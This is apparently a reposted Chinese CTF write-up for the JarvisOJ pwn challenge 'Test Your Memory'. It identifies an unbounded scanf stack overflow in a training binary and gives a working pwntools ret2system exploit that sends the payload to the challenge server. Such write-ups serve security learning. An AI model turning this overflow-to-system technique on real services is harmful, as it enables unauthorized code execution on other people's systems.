当前位置: 代码迷 >> 综合 >> [JarvisOJ][pwn]Test Your Memory
  详细解决方案

[JarvisOJ][pwn]Test Your Memory

热度:66   发布时间:2023-12-13 04:57:03.0

经历了前面2次的艰难,出题人或许嫌我们太累了,来了个简单的
走进程序找信息。开启的保护只有NX

.rodata:080487E0    00000009    C   cat flag

这里有命令字符串cat flag

0804A058        system  

这里有system函数,然后找漏洞吧

int __cdecl mem_test(char *s2)
{int result; // eaxchar s; // [esp+15h] [ebp-13h]memset(&s, 0, 0xBu);puts("\nwhat???? : ");printf("0x%x \n", hint);puts("cff flag go go go ...\n");printf("> ");__isoc99_scanf("%s", &s);if ( !strncmp(&s, s2, 4u) )result = puts("good job!!\n");elseresult = puts("cff flag is failed!!\n");return result;
}

_isoc99_scanf(“%s”, &s);这里有栈溢出漏洞。
东西凑齐了,简单栈溢出,用system 函数覆盖返回地址就行了

from pwn import *
context.log_level="debug"elf=ELF("memory")
call_system_addr=0x080485BD
catflag_addr=0x080487E0
#p=process("./memory")
p=remote("pwn2.jarvisoj.com",9876)
p.recvuntil("cff flag go go go ...\n")
p.recvline()
p.sendline("A"*(0x17)+p32(call_system_addr)+p32(0x08048677)+p32(catflag_addr))
p.recvuntil("is failed!!\n")p.recv()

用system函数地址覆盖返回地址,运行system函数的时候参数是cat flag 的地址

有一点需要注意的是进来一个程序先仔细查找一下信息,可能会有意想不到的收获.

  相关解决方案